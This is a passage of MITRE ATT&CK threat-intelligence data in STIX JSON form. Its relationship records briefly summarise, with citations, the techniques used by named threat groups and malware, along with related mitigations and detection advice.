APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--757e8e47-b89d-4a70-a785-deefe6468006","created":"2022-09-29T17:33:24.331Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:33:24.331Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) has disguised a PowerShell script as a .dat file (goopdate.dat).(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--758cbc32-6b33-4012-8622-cd7d218a799c","type":"relationship","created":"2020-06-23T19:02:21.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-24T20:34:05.701Z","description":"Anti-virus can be used to automatically quarantine suspicious files. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--759185fe-d576-43f5-afac-acd653e5fcf4","type":"relationship","created":"2020-06-09T21:23:39.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.204Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit that has the ability to hook system calls to hide specific files and fake network and CPU-related statistics to make the CPU load of the infected machine always appear low.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7592143e-1c3e-43e2-bde2-b6f65292af3e","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for process being viewed that may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--759af051-f194-4a68-98af-224f7d9916e8","type":"relationship","created":"2020-06-10T21:56:40.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BlackEnergy Jan 2016","url":"https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."}],"modified":"2020-06-11T15:05:02.087Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used port 6789 to accept connections on the group's SSH server.(Citation: ESET BlackEnergy Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--759cdb17-8d35-4372-8a9d-eae658f0bb31","created":"2024-09-25T13:16:53.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-13T16:19:34.036Z","description":"In cloud environments, limit permissions to modify cloud bucket lifecycle policies (e.g., `PutLifecycleConfiguration` in AWS) to only those accounts that require it. In AWS environments, consider using Service Control policies to limit the use of the `PutBucketLifecycle` API call. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--759ce6e8-da01-4cd6-9d03-9b0a1edde9be","created":"2021-11-29T19:16:55.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:40:55.939Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has the ability to download files to a compromised host.(Citation: Trend Micro Iron Tiger April 2021)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--75a1f636-76d3-4029-ae40-0a7a3b8d7eba","created":"2019-01-30T13:24:09.072Z","x_mitre_version":"1.0","external_references":[{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Octopus](https://attack.mitre.org/software/S0340) can collect system drive information, the computer name, the size of the disk, OS version, and OS architecture information.(Citation: Securelist Octopus Oct 2018)","modified":"2022-04-06T17:23:17.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75a29a2d-548e-4aba-b33f-5322936b9e7a","created":"2021-03-29T17:06:22.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.207Z","description":"Ensure containers are not running as root by default. In Kubernetes environments, consider defining Pod Security Standards that prevent pods from running privileged containers.(Citation: Kubernetes Hardening Guide)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75a3cfad-a9e7-453f-88b8-787304575a33","type":"relationship","created":"2020-11-19T17:01:57.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T13:53:46.555Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can query Windows\\CurrentVersion\\Uninstall for installed applications.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75a779b1-7b77-40bd-86cd-7ef5e54e78c1","created":"2022-10-13T15:49:58.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:06:39.895Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors executed an encoded VBScript file.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75a7d2f6-fa2c-499c-8e4f-f8d1d2735173","type":"relationship","created":"2019-01-30T19:18:20.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"sentinelone apt32 macOS backdoor 2020","url":"https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/","description":"Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021."}],"modified":"2021-09-22T23:37:06.375Z","description":"If running with root permissions, [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchDaemons.(Citation: TrendMicro MacOS April 2018)(Citation: sentinelone apt32 macOS backdoor 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75a82c43-c3f2-4cec-a9cb-3407b03f27b7","type":"relationship","created":"2020-05-06T21:01:23.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.641Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s has a plugin that captures screenshots of the target applications.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--75a89128-fcdd-4bcf-98a7-9f0ea162a794","created":"2022-03-24T19:39:24.736Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use the `GetRegValue` function to check Registry keys within `HKCU\\Software\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated` and `HKLM\\Software\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated`. It also contains additional modules that can check software AutoRun values and use the Win32 namespace to get values from HKCU, HKLM, HKCR, and HKCC hives.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-14T16:34:06.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75a8e452-5a08-45c8-b194-ace6788c3c4f","type":"relationship","created":"2019-01-30T13:42:09.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.943Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) collects information about the network including the IP address and DHCP server.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75a91f69-93bc-40fd-a17c-ae675637c296","created":"2022-10-13T16:31:18.946Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:31:18.946Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has staged malware on actor-controlled domains.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75aa57b2-5d2e-49ec-9c26-317b361632c3","type":"relationship","created":"2020-07-16T15:23:48.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.442Z","description":"[Kessel](https://attack.mitre.org/software/S0487) can use a proxy during exfiltration if set in the configuration.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"},{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:58.824Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using the Registry option in PowerShell Empire to add a Run key.(Citation: FireEye FIN10 June 2017)(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75b6869c-dd4e-44ec-8614-97fe792e9dd6","type":"relationship","created":"2019-06-07T14:20:07.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2014"},{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:28:00.940Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities (CVE-2009-3129, CVE-2012-0158) and vulnerabilities in Adobe Reader and Flash (CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, CVE-2011-0611).(Citation: Moran 2014)(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75b9ee03-bb9d-49a9-97e4-1979ff6ecbbf","created":"2024-07-25T22:28:36.732Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:28:36.732Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) uses a legitimate executable to load a malicious DLL file for installation.(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75bd34c6-c8b3-4b5e-aac4-9e410515169c","type":"relationship","created":"2020-05-19T17:32:26.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-19T17:32:26.398Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has used ProcessWindowStyle.Hidden to hide windows.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75c238d1-f2dc-413a-89c3-66797a65da90","type":"relationship","created":"2020-11-06T18:40:38.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.158Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can SSH to a remote service.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"},{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:56:11.382Z","description":"(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75c7794b-e8e1-4fcb-b59a-14eb710c47f7","type":"relationship","created":"2021-10-13T21:34:46.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 2","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}],"modified":"2021-10-13T21:34:46.675Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) has called GetCurrentProcess.(Citation: Trend Micro KillDisk 2)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75cc19f5-00b4-43e2-8eae-f633693dbe56","type":"relationship","created":"2019-03-11T15:10:00.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.381Z","description":"[Empire](https://attack.mitre.org/software/S0363) includes various modules for finding files of interest on hosts and network shares.(Citation: Github PowerShell 